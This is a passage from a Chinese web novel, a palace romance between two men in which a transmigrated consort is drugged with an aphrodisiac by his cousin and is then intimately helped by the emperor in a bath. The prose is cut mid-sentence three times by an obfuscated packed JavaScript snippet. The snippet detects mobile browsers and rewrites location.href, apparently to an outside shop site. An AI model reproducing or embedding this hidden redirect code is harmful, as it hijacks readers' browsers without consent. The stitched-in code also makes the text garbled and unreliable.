长身玉立,黑发如瀑,冷翠的眼睛被烛光染上罕见的温度。 周启桓坐在床榻边,目光漫不经心扫过曲延半起的身子,窄瘦的腰线凹的凹,凸的凸,被柔滑的丝缎盖住。 原本霸占一整个龙床的曲延自觉地往床榻里面滚了一圈,让出位置,“陛下今晚这么早睡?” “嗯。” “早睡好。”曲延也不知自己在紧张个什么劲,“早睡早起身体好。” 周启桓:“曲君从未早起过。” 经常睡到日上三竿的曲延:“……” 曲延狡辩:“我那是睡眠质量好。” 周启桓伸手拽了一下被曲延全都裹走的薄薄锦被,力道不轻不重,曲延没设防,啊的一声,连人带被子又滚到帝王面前。 “……” 周启桓如常躺下,几乎贴着青年的皮肉,被子上的合欢熏香拢了两人一身。 曲延赶紧挪回自己的那半边床,然而眼耳鼻舌身意都是另一个人的气息。他猛然意识到,他和周启桓是同床,共枕。 以前曲延觉得两个男人睡一张床,是兄弟情、战友情,没什么大不了的。高中时他住男生宿舍,如果不是舍友的脚太臭,冬天最冷的时候他也想和人挤一床,从来不会有别的想法。 现在身下的龙床是香香的,身边的帝王是冷香的,也不是冬天,曲延却心甘情愿和另一个男人睡一张床。 不对劲,自己不对劲。 曲延心如擂鼓,扭过脸偷瞄一眼——控制不住嘴角上扬。 周启桓好帅啊……不是想这个的时候! 又偷瞄一眼,还是忍不住笑。 帝王平静地问:“曲君因何发笑?” 曲延:“……没什么。”屁股一撅,背过身去。只要眼睛不看,心就不会乱。 周启桓给他掖了掖被角。 曲延故意打出小呼噜,假装睡着……然后就真的睡着了,具体表现在他的手和脚开始随便乱放,踢了被子四仰八叉搁在九五之尊的身上,整个过程不到十分钟。 有时候,帝王也很羡慕曲延的睡眠。 一如既往地睡到日上三竿,曲延出了一身薄汗,因为他又被卷成一个毛巾蛋糕。 宫人伺候他穿衣洗漱吃饭。 曲延逐渐习惯旁边有人杵着,没事端个茶倒个水,如果不要人伺候,那些宫女太监还会诚惶诚恐,以为自己做错什么。 “打工人太不容易了。”曲延如是说。 系统:【你倒是给他们加薪啊。】 曲延倒是想赏赐,奈何一个铜板都没有,只能赏点吃的。 没钱,没积分,曲延感到了危机,赶紧查看自己的主线任务和支线任务——很好,龙傲天上钩了,和那个岭北郡主今天就打得火热,已经相约一起去逛白马春风楼。 “到我棒打鸳鸯的时候了。”曲延摩拳擦掌唤来谢秋意,问,“你在英王府有人脉吗?” 谢秋意:“……曲君有何吩咐?” “周拾诱拐岭北郡主前往白马春风楼纵情享乐,必须打断他的腿!” “……”谢秋意忙活去了。 曲延问系统:“谢秋意究竟是什么人?神通广大,什么人脉都有。” 系统:【周启桓给你用的人,能不神通广大吗?】 曲延一愣,所以说其实是周启桓在帮他? 这般想着,忽有太监来报:“殿前侍御史遣人来送琵琶给灵君,已在偏殿。” 曲延去了偏殿,那小厮毕恭毕敬地五体投地大拜,奉上琵琶。曲延从布袋中取出琵琶,果然是螺钿镶嵌的紫檀,精美非常,一看就造价不菲。 按理说,凭叶尘心的微薄俸禄,应该是买不起这么名贵的琵琶。 曲延摸着琵琶弹了一下,清脆如溪流,音色也是调过的,他问:“殿史可有说过,琵琶哪来的?” 小厮说:“大人没说,只是这琵琶也是别人送的。大人不弹琵琶,借花献佛给灵君。” “别人送的?”曲延琢磨着,这要是贿赂叶尘心,那贿赂之人实在不走心,难道不知叶尘心不弹琵琶? 反倒便宜了曲延。 曲延点头,刚好谢秋意归来,他问:“我是不是要赏赐他?” 谢秋意取了一锭银子赏给那小厮,对曲延道:“事已办妥,只等白马醉春风。” 曲延暗想,谢秋意的权利是周启桓给的,那钱也是周启桓给的,替他撑门面的。原来他不是穷得叮当响,那他赏吃的岂不是显得很傻? 曲延怒弹琵琶,魔音绕梁。 谢秋意:“…………” 灵君怎么发疯了?琵琶有毒? 琵琶没有毒,曲延把琵琶当成了贝斯,事实证明这两种乐器八竿子打不着。要想弹琵琶,他还得从头开始。 好在他对乐器感兴趣,只要上了手,就能慢慢学会。 精通是不可能了,就当个乐趣。 就在曲延沉迷于琵琶美妙的音色中时,又有小太监来报:“灵君,西京安抚司使曲兼程大人前来给您请安。” 曲延犹抱琵琶半遮面,“谁?” “曲兼程大人。” “奸臣?”曲延对这个名字颇为熟悉,作者取名也是没谁了,有的人物名字十分之优美,而有的简单粗暴用谐音。 曲兼程,护国公长子,在龙傲天周拾上位后,这位有着从龙之功的大奸臣,官拜一品,一跃成为当朝右相。 后来曲兼程不满周拾重用他人,密谋造反,结局当然是被心狠手辣的龙傲天五马分尸。 曲兼程的从龙之功究竟是什么功,作者没有写,曲延却觉得和周启桓有关,不然原书周拾为什么一边忌惮曲兼程,一边又不得不用? “宣。”曲延道。 他倒要看看,这个曲兼程究竟意欲何为。 一个身着藏青朝服的男人逆着光走进来,高高瘦瘦,先是行了一礼,“微臣给灵君请安,灵君万福。” 隔着绿莹莹的珠帘,曲延打量此人,约莫三十出头,五官平平,只一双眼睛锐利如鹰,看上去和自己半点相似之处都没有。 这是他亲大哥? “起来吧。”曲延说。 男人走近了些,“微臣有话对灵君说,还请屏退他人。” 曲延示意谢秋意下去。 众人弓腰退下。 待到四周岑寂,曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673389|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兼程的身份小卡跳出来:【曲兼程,护国公长子,西京安抚司使,掌当地军政,手握兵马一万,为人心机深沉,与周拾、周嵘皆有往来。】 系统:【也是你的堂兄。】 曲延:“堂兄??那我亲哥呢?” 系统:【你没有亲哥,乃是护国公弟弟曲铁梅的独子。曲铁梅携妻战死,你被送回国公府,成了小公子。】 曲延:“……你爸的为什么不早说?” 【怕你受刺激。】 曲延皮笑肉不笑:“我以为我是大奸臣的弟弟,早告诉我不是,我还得谢你呢。” 【现在谢也不迟。】 曲延翻了一个白眼。 曲兼程:“……少灵,为兄平日忙,不得空来看你,让你受委屈了。” “不委屈。”曲延调整表情,尽量显出几分懵懂,“一点也不委屈。” 怪不得护国公一家会把他送进宫里,哪怕成为大周朝史上第一个男妃,沦为笑柄。敢情不是亲生的。不,这与亲生与否没关系,纯粹是把他当成工具人罢了。 曲兼程又上前几步,掀开珠帘,细细打量曲延那一身华贵的穿着打扮,竟然比贵妃头面还要不逊色。曲兼程笑道:“少灵真是长进了,很得陛下喜欢。” 曲延点头,“嗯,陛下待我可好了。每天都给我好吃的,你要吃吗?” “不了。”曲兼程从怀中取出一只青瓷小药瓶,用一种近乎诱哄的语气说,“少灵,这是特制的合欢花粉,陛下最喜合欢花,如果你每日倒一点在他熏香的炉子里,他定然会更加喜欢。” 曲延手指一动,拨了一声琵琶弦。 叮咚一声,清冽肃杀。 曲兼程含笑望着他,“拿着。” 曲延拿过小药瓶,做出欢喜的模样:“真的吗?谢谢兄长。” “少灵这么乖,一定不会告诉其他人,对吧?” “嗯!” 曲延陪着演戏,等曲兼程演完退场,他的笑也缓缓收在午时炎热的空气中。冰鉴里浮冰碰撞,发出轻微的裂响。 知了一声声拉长了,吃过午饭的曲延躺在美人榻上,抱着琵琶不时奏一声。 直奏了小半日,有气无力的。 日落时分,帝王方才归来。 见曲延如同一团面似的躺着,脸蛋红扑扑的,问:“曲君有何不适?” 曲延也不知道自己怎么了,实话实说:“我兄长给我送了花粉,我闻了一下,就提不劲来。” 好奇心害死猫,知道有毒,还是忍不住闻了一下,打了一个喷嚏。 结果半天起不来,心烦意燥的。 “花粉?”周启桓伸手,“给朕瞧瞧。” 曲延掏出药瓶交了出去。 周启桓拨开药瓶塞子,只是略微在瓶口闻了一点香气,便立即盖起来,脸色微沉:“除了合欢花粉,这花粉中还混了其他东西。” “什么?”曲延睁着猫似的眼睛,“你怎么闻出来的?” 周启桓:“……这些后宫中的手段,朕多少见识过。” “后宫中的手段?” “这花粉中,掺了春药。” “………………………………” 系统:【恭喜宿主,都不用春意绵绵药了呢,有人免费送呢。】 曲延:“操你大爷的大奸臣!!!” 以为送剧毒,结果是他喵的春药??? 19.鸳鸯浴 如果是毒药可能还有解药,中了春药,那就只能解决或者硬抗。即使唤来御医,最多开两副清热解毒的方子,治标不治本。 曲延四肢无力,内心悲愤,用自己聪明的脑袋回忆平生看过的所有小说——主角中了春药怎么办?只有xxoo。 “……” 居然没有一本,没有一本小说解释春药怎么解。 曲延抱着琵琶,气得眼泪在眼眶里打转,眼尾发红。气血上涌,冲到不可言说的位置。 夜合殿内静得落针可闻。 帝王沉默片刻,问:“能走吗?” 曲延抿着唇,瞥一眼俊美无俦的帝王,心里的气忽然没那么大了,如果是周启桓,也不是不可以……啊呸,不可以这么想,肯定有解决的办法。 “去太和池,那里的水冬暖夏凉。”周启桓道。 曲延从系统给的皇宫地图上看过太和池殿,距离夜合殿很近。太和池是皇帝专门沐浴的地方。夜合殿偏殿也有汤池,只不过比太和池小些。 大周的皇帝勤俭持家,日常只用小汤池,太和池只有在特定的日子才会去泡上一回。 按照宫规,身为妃嫔的曲延不能随意使用皇帝的汤池,所以他平时都是用大大的浴桶……想来只有帝王即将宠幸一个妃嫔时,才会让妃嫔使用自己的浴池。 曲延咬着唇珠,一时没有作答。 发展太快了,他还没做好准备——可是身体已经做好准备。 见曲延沉默,周启桓补充道:“曲君一人泡。” 曲延:“?” “能走吗?” “能。”曲延咬牙从美人榻上下来,脚下一软,琵琶差点摔了。 周启桓连人带琵琶接住,将琵琶放到一边,搀着曲延,吩咐帘外的吉福先去将太和池准备着。吉福一脸欢喜,颠着小脚跑去忙活。 四舍五入就是帝妃共沐鸳鸯浴。 曲延走了两步,自觉除了身体温度高了些,心跳快了些,尚且可以忍受。帝王的手很大,稳稳抓牢他虚软的身体,揽住他腰侧,是以走得还算稳当。 宫女们回避,只有谢秋意带两名宫女随从,隔着距离落在后面。 走出夜合殿后门,穿梭在回廊中,曲延扭头看了一眼,别扭道:“……洗澡就不要人伺候了吧。” 周启桓道:“他们守在殿外。” 但还是很羞耻,虽然是为了安全考虑。 走着走着,曲延额上直冒热汗,随着腿脚活动,药效似乎发作更快了,让他口干舌燥,气血沸腾,想做点什么。 于是他走得更快,几乎是小跑。 周启桓也抓不住他。 曲延问系统:“如果一直运动,会不会把药从汗水蒸发出来?” 系统:【理论上可以排毒,但你要是运动一晚上,明早就躺板板了吧。】 “……”所以用单纯的运动来解春药不可行,必须用另一种运动。 天杀的,他又不是龙傲天,春药这种烂梗都能让他碰上。 所以为什么曲奸臣送的是春药? 为了转移自己的注意力,曲延深入想了一下,竟然发现理由很简单。 春药原本是给周启桓用的,周启桓用了会怎么样?当然是不能自已、兽性大发,按着曲延大战三回合,从此君王不早朝。 曲延的脑海里出现了某种不可描述的画面。 系统:【…………亲,我还在呢。】 曲延:“……不许窥探我脑海!” 【基于扫黄职责,已为宿主的想象打马赛克。】 于是曲延脑海里变成了一团马赛克,“……” 擦,连想一下都不可以? 好吧,曲延也不敢多想。他继续推测,如果周启桓连续半个月不上朝,每日和他在床笫间风流快活,那很快前朝就会传出谣言。 比如曲延蓝颜祸水、祸国殃民、魅惑君上。 比如周启桓昏庸无能、耽于享乐、荒废朝政。 那龙傲天就能趁机造势,为自己的登基更上一层楼。 “好歹毒,好恶毒,好狠毒的阴谋!”曲延拳头硬了。 “……曲君。”周启桓叫住雄赳赳气昂昂的曲延。 曲延回头,“嗯?” 周启桓冷绿的眼睛微微低垂,“没事吗?” 曲延随之望去,黄昏的光斜照在他们的下半身,尤其黄,“…………啊!” 曲延立即捂住即将振翅而非的小鸟,满脸通红。 这个状况走路只会更奇怪,周启桓轻车熟路打横抱起曲延。 曲延把脸埋在帝王肩上,没脸见人。 系统:【太黄了,系统自动进入屏蔽模式。】 曲延:“……” 不多时至太和池殿,屏退宫人,周启桓抱着曲延穿过重重纱幔,往汤池走去。偌大的宫殿,青铜枝形烛台灼灼燃烧,但只照亮了那一小片区域。 梅花形汤池里漾动着细碎波光,清波上摇晃乳白的玫瑰花瓣,白玉香炉中升起袅袅青烟,合欢香弥漫开来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679004|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曲延身上几乎湿透,褪去鞋袜,而后被帝王结实的臂膀温柔地放入汤池里。 像一尾急于逃窜的鱼,曲延一进水,便慌忙游了出去,后知后觉刺骨的冷,与体内的炎热交织,不禁打起哆嗦。 帝王除去鞋袜走入汤池中,道:“曲君,你这样会生病。” 曲延站不稳,扶不住,挨着汤池石壁,石壁溜光水滑的,他找不到支点,体虚身软,干脆往水里一坐,花瓣没过了头顶。 周启桓将他从水中捞出来,青年乌黑的发丝贴在红润的脸颊,一双眼睛湿漉漉的,睫毛滴着水,唇紧抿着,身体还在颤抖。 像只瑟瑟发抖的小动物。 周启桓将他抱在怀里,指尖在水中穿梭,衣带如同水草,袅袅绕绕浮出水面。 将要解开中衣时,曲延抓住帝王的手,耳垂红似滴血,“陛下,我……自己洗。” “你很冷。”周启桓说。 池水如冰,曲延贪恋身后的温度,而他脏腑又如火,不敢靠得太近。他不知该怎么办,只能忍着,说不清是水珠还是泪珠,顺着脸庞滚滚而落。 帝王在他耳畔叹息,嗓音轻而低缓:“曲延,朕是你夫君。” 曲延又打了一个颤,“……你之前还说,让我一个人洗。”果然男人的嘴,骗人的鬼。 “可是你站不稳,朕怕你溺水。”周启桓说,“靠着朕,你自己来。” 曲延纠结再三,混沌的脑子实在想不了太多的问题,别说自己来,他现在就是一根木头,不知道该做什么。 “自己来”的经验,他也是少之又少。 何况在旁人面前。 因为太难受,曲延忽然觉得委屈,他哪里受过这样的煎熬,“不要,你走。” “朕不走。” “你走。” 周启桓看向水中,青年的手紧紧抓着自己的衣袖,分明口是心非。 “朕不走。”周启桓再次说,他捞起一条三指宽的白色系带,覆在青年眼上,“朕帮你。” 曲延的眼睛被蒙住,什么都看不见了。 看不见,但摸得着,靠得住,被水围着,被帝王宽广的胸怀拥着,像回到了羊水里,反而充满安全感。他的理智被赧然代替:“帮我什么?” 帝王不语,除去他最后一层束缚。让青年坦然如一缕月光,呈现在自己眼前,落在自己掌心。 周启桓捧着这缕月光,骨节分明的手缠绕着,逗弄着。 曲延神魂俱颤,飘到了云端。 20.羞于见 许是因为常年习武,周启桓的手如玉修长白皙,指尖掌心却带微微的糙感。 因此触碰的感觉更加明显。 曲延被掌控,被握住,被千丝万缕地缠绕,被那一双有力的臂膀箍住腰肢,按住胸膛,任他在水中浮沉,却总逃脱不掉。 只听到水流晃动的声音,击打汤池石壁,花瓣被一波一波推开,有的黏在皮肤上,痒痒的。 身体的贴紧是湿滑的,倚靠是被禁锢的。 曲延恍惚以为自己生活在海洋,是一尾被猎人捕捉的人鱼。猎人用网罩住他,用水草缠住他,用阳光灼烧他。 他干涸、无助,张开口想汲取湿润的水汽来缓解这濒临极致的恐惧,却只能发出动听而破碎的歌声。 曲延不知自己在吟唱,也不知自己唤了几次周启桓的名字。 周启桓是静默的狩猎者,只气息偶尔擦过青年软红的耳畔,也是不稳的,但手上很稳地把控着青年。 直到一池冰冷的水,也被体温焐热。 曲延在这热流中酣然睡去,身体精疲力竭,感触充盈丰沛。 …… 日上三竿,曲延醒了过来。 昨天晚饭没吃,他被自己肚子的咕噜声吵醒,很饿,很虚……腰酸,腿软,腚不疼。周启桓没有趁人之危。 曲延仔细回想,然后回想变成了回味。 因为蒙着眼睛,脑海里没什么画面,只有感触。曲延掀开被子偷偷看一眼自己的小鸟,生平第一次被照顾得这么周到。 【切,还是处男。】 系统的声音突兀地打断曲延的靡靡之想。 血色冲上曲延脸颊,他虎着脸:“这说明周启桓是正人君子,不像你嘴上说着扫黄,想的比谁都龌龊。” 系统:【……】 和系统打打嘴炮,也算转移注意力,省得总是想着那意外发生的旖旎之事。 宫人如常伺候,仿佛已经习惯帝王与其宠妃的风流韵事。 曲延故作镇定,问谢秋意事情办得如何。 谢秋意道:“英王身边的人应该已经敲打过了,小世子会不会听从,就是奴婢鞭长莫及了。” 曲延想象了一下,谢秋意拿着一根小皮鞭,脚踩周拾,在周拾屁股上抽啪啪抽打:“让你不听话,今天让你屁股开花!” “哈哈哈哈哈哈!”曲延被自己的想象逗乐。 谢秋意:“?” 曲延止住笑,准备吃早午饭,却听一声细长的:“陛下回宫——” “……”曲延不笑了。 帝王的身影跨入夜合殿,长身玉立,线条冷硬,玄色的朝服更添压迫感。他朝饭厅看了一眼,隔着珠帘,冷翠色的眸子看不出情绪。 周启桓走到屏风后面,由小太监和宫女为他褪下沉重的朝服,换上一身深色常服。 曲延瞪着眼前的饭菜,不敢看逐渐走近的帝王。 宫人们行礼退下。 吉福笑道:“陛下,灵君等您一起用膳呢。” 周启桓在主位坐下,“朕与灵君用膳,无需伺候。” 吉福也退出帘外。 周启桓亲手舀了一碗甜汤放到曲延面前,“饿坏了吧?” 曲延点头,又摇头,他感觉自己脑子要坏了。不然为什么看到周启桓骨节分明的手端着白瓷小碗时,会心如擂鼓,跳个不停。 “曲君为何不说话?” “……食不言。”曲延眨巴眼睛,看着甜汤,他想到了昨晚的花瓣汤,他和周启桓泡在里面,做那种事。 面对如此“懂规矩”的曲延,周启桓没说什么,安静地用膳。 曲延抱着汤喝,扒拉米饭吃。 周启桓给他夹了菜。 曲延这才想起自己没有吃菜,眼角余光瞄到周启桓握着筷子的手,好长,几乎和筷子差不多长……好大,一把就能抓住他。 啊呸!在想什么。 曲延低头扒拉饭,小猫似的吃个不住。 吃完午膳,周启桓如常去旁斋批阅奏疏。 曲延坐在殿内冰鉴旁,近距离用冰块给自己降温。他给自己做心理建设,不就是被摸了一次,都是男人没什么大不了的。 话说周启桓为什么那么熟练?难道平时练过? 曲延想象不出周启桓自助的样子,光是想到这个可能,就觉得违和感满满——大周的帝王,冰山般冷酷、无情、禁欲,也会有欲望吗? 可如果平时没有练过,怎么会让曲延快乐到晕过去…… 曲延懂了,这叫天赋异禀,天生的攻。 “……我才不是受!”曲延不愿承认,虽然他对他和周启桓所有的想象里,就没有自己当攻的。 系统:【亲,还记得你的任务吗?】 曲延脑海里又是一团马赛克,他晃了晃脑袋,让新生的脑子转动起来。 倏地灵光一闪。 曲延唤来谢秋意:“请徐美人来一趟,就说请她吃瓜。” 谢秋意:“?遵。” 不多时,徐乐焉摇着团扇走进来,满头大汗,随意地行了一礼,“不知灵君唤臣妾过来,所为何事?” 曲延指着桌上冰镇过的瓜果:“西瓜、黄瓜、哈密瓜,徐美人随便吃。” “还真是吃瓜?”徐乐焉乐了,不客气地拿起一瓣西瓜吃,“呼,爽。” 曲延也拿起西瓜吃,想了想,用果盘另装两瓣,让宫女送去旁斋。 吃了瓜,曲延开始分享另一种瓜:“周拾新交了一个女朋友,这事你知道吗?” 徐乐焉不解:“女朋友?” “就是红颜知己。” “……”徐乐焉差点把瓜喷了,噗的一声吐出几颗瓜子在手帕里,“谁啊。” “岭北郡主。” 徐乐焉深吸一口气:“我就知道那个周焱枫不是个安分的。” “徐美人,你也不想你妹妹嫁给这样的人吧?”曲延说,“周拾和岭北郡主打得火热,你爹可以不在乎,继续攀附英王。只可惜你妹妹将来却要吃苦。” 徐乐焉握紧西瓜皮,“我绝不会让这种事发生,我这就写信给我爹!” “不出意外的话,周拾这几天都会和岭北郡主约会,如果让徐太尉亲眼看到,想来他会改变对周拾的看法。如此一来,你妹妹也能脱离苦海。” 徐乐焉望着曲延,“灵君为什么告诉我这些?你不是不喜欢徐家?” 曲延淡淡道:“我是不喜欢徐家,但你妹妹是无辜的,你也是无辜的。我分得清。” 徐乐焉低头思索半晌,起身又行了一礼:“多谢灵君宽容。将来若是徐家有难,只要你肯拉我妹妹一把,我感激不尽。” 曲延笑一声:“吃瓜吃瓜。” 他哪有那么伟大,这么做也是为了完成任务,一箭双雕。 接下来就是静待良机,等候结果。 “你爸的,我真的好聪明啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684264|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”曲延自夸,美滋滋吃着西瓜。 系统:【虽然你不是我见过的最聪明的宿主,但确实有点脑子。】 曲延:“……你之前的宿主一定是被你气跑的。” 自认宽容大度的曲延不和系统计较,也没空计较,左思右想要不要去旁斋看看周启桓。 去吧,不好意思。 不去吧,抓心挠肝。 摸过的关系,真是让人羞恼。 心里没琢磨出个所以然,等曲延回神,他的脚已经自动走到帝王的书房门前。 曲延:“……” 我是谁?我在哪儿?我为什么会走到这里?死腿,你为什么不听我的话! 曲延正想扭头就走,大门哗啦打开,露出吉福那张笑皱的老脸。 “老奴就知道灵君舍不得陛下,先是让人送了西瓜来,又自个儿来了。”吉福弓腰让出位置,“快快进来,陛下好等。” 曲延的腿自动迈进去,“陛下在等我吗?” 宽大的书案后,帝王抬起冷绿的眸子,无波无澜。 曲延:“……”吉福你个骗子。 来都来了,曲延硬着头皮装作若无其事,坐到自己的专属椅子上,给自己倒了一杯冰过的酒酿。 冰裂的瓷碗,配上乳白的酒酿,色泽通透,让曲延想到昨晚的汤池…… 曲延一口干完,眼不见为净。 周启桓问:“曲君午后传唤了徐美人?” “嗯。”曲延没说什么事,周启桓也没多问。 “吉福,换紫苏饮子。” 吉福:“遵。” 帝王没收桌上所有的冰饮,道:“贪凉不好。” 曲延:“哦。” 紫苏饮子由宫人现场烘焙、洗泡、冲泡,是炎炎夏日难得的宽胸导滞的茶水。且做法简单,寻常人家也能喝得。 大周的帝王,平时喝的茶水也多是这种。 曲延喝着同款紫苏饮子,清香回甘,确实别有一番滋味。 这一打岔,曲延心里没那么慌乱,望着帝王专注工作的样子,蓦然注意到周启桓每批阅几张奏疏,就会停顿须臾,脊背不太舒服的样子。 “……陛下!”曲延想起来,“你的伤。” 周启桓灼伤没好,又陪曲延泡了半宿的水,还全程做那种“服务”……思及此,曲延的脸颊又开始发烫。 “无妨。”周启桓说。 曲延站起来,“不行,必须换药。” 周启桓抬头望着他,“曲君为朕换?” “当然。” 屏风后,帝王抬起双臂,袍袖垂落,宽肩窄腰,下半身明显比常人高出一大截,比例好到逆天,站在那里就是一尊神祇。 曲延摘下帝王腰间的玉佩、铜香囊、禁步、匕首……解开系带与腰封,褪去华美的外袍,挂在一旁的衣架上。 平时由宫人做的事,曲延做起来竟然轻车熟路,像是无数次做过这样的事。 曲延一心想看周启桓的伤势,及至剥去帝王两层衣裳,只剩最后一层中衣,他看到帝王交襟处暗藏的沟壑,肌肉线条蓬勃欲出。 猝不及防的,曲延已笼罩在帝王周身的冷香中,离肌肤之亲只隔着不到二十厘米的距离。 他的手无论如何都赧然触碰帝王的中衣。 空气变成了黏腻的糖浆,将他和周启桓裹在一起。 “……曲君的脸又红了。”帝王嗓音低低地说。 21.搞事情 曲延进退两难之际,帝王捉住他手腕往自己腰间放去,“这里。” 指尖触到长而细软的衣带,曲延捏住,慢慢拉开。 帝王中衣由此敞开,皮肤透出的蓬勃热度与肌肉线条的力量感呼之欲出。曲延不敢多看,揪住衣襟往下褪去。 他匆忙绕到周启桓身后,以此掩饰自己的慌乱,眼睛四处梭巡,“药……” 药在匣子里,匣子在桌上,曲延走去翻找,先拿出碘伏,为周启桓清理背后的灼伤。 不过两日,身体机能强悍的帝王背后伤势已经开始愈合,因为用药及时,纵使在这炎炎夏日,也没有发炎的迹象。 但仍不能小觑,曲延仔仔细细地用碘伏擦拭。 周启桓稳如磐石,只喉结偶尔滑动,感受着身后青年轻柔的触碰。 等碘伏干了,曲延给伤口上药膏,洗了手,以指尖涂抹,这是最快的,也不会浪费药膏。毕竟每样就这一管药,在没有拿到足够积分的情况下,必须保证有备无患。 曲延的视线扫过周启桓窄而悍利的腰背,蓦然意识到昨夜蒙着眼依靠的,是这样一具高大硕美的身躯……在那湿滑的汤池里,周启桓托着他时很稳,腰肢有力,手臂亦有力。 “……” “上好了?”周启桓问。 曲延低头瞪着自己展翅欲飞的“小鸟”。 系统:【……太黄了,实在太黄了!呔!】 曲延:“……” 周启桓回过身来。 曲延一把捂住自己的小鸟,脸憋得通红,“我不是,我没有!” 周启桓垂下眼帘,沉默须臾,似乎在斟酌措辞,“曲君,很精神。” 曲延羞愤欲死,又跑不掉,门外还守着吉福。只能和周启桓大眼瞪小眼,缓缓变成一朵火烧云。 “需要朕帮你吗?”周启桓问。 曲延使劲摇头,“不要不要,我、我过会儿就好了。只是有点冲动而已,都是冲动犯的错,爱上你没有结果……” 你爸的怎么说着说着就唱起来了啊啊啊啊!! 曲延两眼一闭,两腿一蹬,躺在美人榻上装死。 周启桓道:“曲君还未为朕穿衣。” 曲延诈尸:“……自己穿啦!” 养尊处优的帝王只好自己慢条斯理地穿上中衣,系好衣带,见美人榻上的青年蜷缩如一只虾米,不由得伸出食指,戳了一下青年腰窝位置。 曲延弹跳起来,面红耳赤瞪着周启桓,“陛下!” “朕穿好衣服了,曲君不必害羞。”周启桓瞄一眼曲延那处。 曲延曲起膝盖不给看,转念一想别说隔着衣服,就是脱了衣服都被看过、摸过……害羞也是来不及了。 帝王又穿了一件衣服,裹得严实,一派禁欲冰冷的模样。曲延的脸热着,身体情不自已,实在难堪,于是再次躺平。 周启桓走到案边,继续处理堆积如山的政务。 好一会儿,曲延才不那么郁闷,只恨自己不争气,色迷心窍。 为了转移注意力,曲延想起来问:“陛下,那些刺客如何了?” 周启桓笔尖顿挫,淡淡道:“关在刑部大牢。” “问出什么来了吗?” “还在审。” 曲延不问了,想也知道是龙傲天的金手指作祟,这些替他卖命的刺客就是用过一次就丢的工具人,不会知道太多有用的信息。 这只是刚开始,龙傲天为了帝位,肯定会再次行动。 曲延问系统:“难道我就只能干等着龙傲天出手?” 系统:【你可以不用等,现在就去杀了龙傲天,傻子杀人不犯法。】 “……”曲延说,“信你个鬼。” 按照小说定律,龙傲天是不死之身,别人伤他,他会百倍奉还;别人辱他,他会让那人死无葬身之地。这就是龙傲天。 曲延不想打打杀杀的,但经过这遭刺杀,他明白了一个道理,皇权的竞争向来残酷,即使他没有杀人的心,也要做好杀人的准备,不然只能等着被杀。 现在龙傲天没想置曲延于死地,曲延暂时也想留一点分寸。 三天后—— 为什么一下子来到三天后呢,因为曲延不想回想这三天的尴尬期,只要和周启桓独处,就会小鸟飞飞什么的,真是太可怕了。 都说饱暖思淫欲,一点也没错。 曲延只能一边强作镇定地说自己是“正常男人都会有的反应”,一边给自己洗脑,他就是太闲了而已,不可能是食髓知味。 终于,一个瓜滚到眼前吸引了他的注意力。 自从曲延上次和徐乐焉谈过话,徐乐焉当真给她父亲徐太尉写了家书。如同石沉大海杳无回音。一封不行就两封,两封不行就三封,这对父女俩实在没什么感情,只能靠家书轰炸。 徐太尉始终不满女儿入宫后没什么建树,不知争宠,还停留在一个小小的“美人”位份上,不能给家族门楣增光,也不能给他这张老脸带去荣光。 看看人家曲延,一个傻子,一个男人,入宫就封妃。 ——陛下实在太荒谬偏心了些! 徐太尉愤然拆着女儿写的家书,他倒要看看写了什么玩意,值得一而再再而三地叨扰他。要知道他这个太尉之位坐得并不安稳,作为荣王母家,被陛下忌惮,只能通过结交权贵、走动皇亲来稳固家族地位。 说到底,还是徐乐焉这个女儿不争气! 如果徐乐焉当上贵妃,还用得着徐太尉这把老骨头日日不得闲? 哗啦一声,信封被撕坏,徐太尉不耐烦地扫了一眼,眉头皱紧。又撕开一封,两撇胡子气得乱翘。 “混账!”徐太尉重重一拳打在桌上,疼得面目扭曲。 这日,已然和岭北郡主打得火热的周拾再次相邀郡主去白马春风楼看舞姬跳舞。英王的劝告当然是拦不住周拾的,不然他也不是龙傲天。 白马春风楼是盛京第一名楼,里面除了歌舞表演,还有唱戏、说书、茶艺、赌博。 岭北郡主自小在边塞长大,哪里见过这样华美的演出,更没有接触过赌博,被周拾带着玩了一次,瞬间深陷其中无法自拔。 很快,岭北郡主带来的钱就被挥霍一空。 周拾瞅准了时机,邀请道:“郡主不妨到我府上暂住。” 岭北郡主囊中羞涩,人也羞涩:“恭敬不如从命。” 周拾心情大好,当夜幕降临时,他租了一条画舫,和岭北郡主一起听伶人唱戏,花前月下,好不快活。欧阳策寻来,说了几句话,见他们你侬我侬,失魂落魄地离开。 伶人唱完戏,领了赏钱,就退了出去。 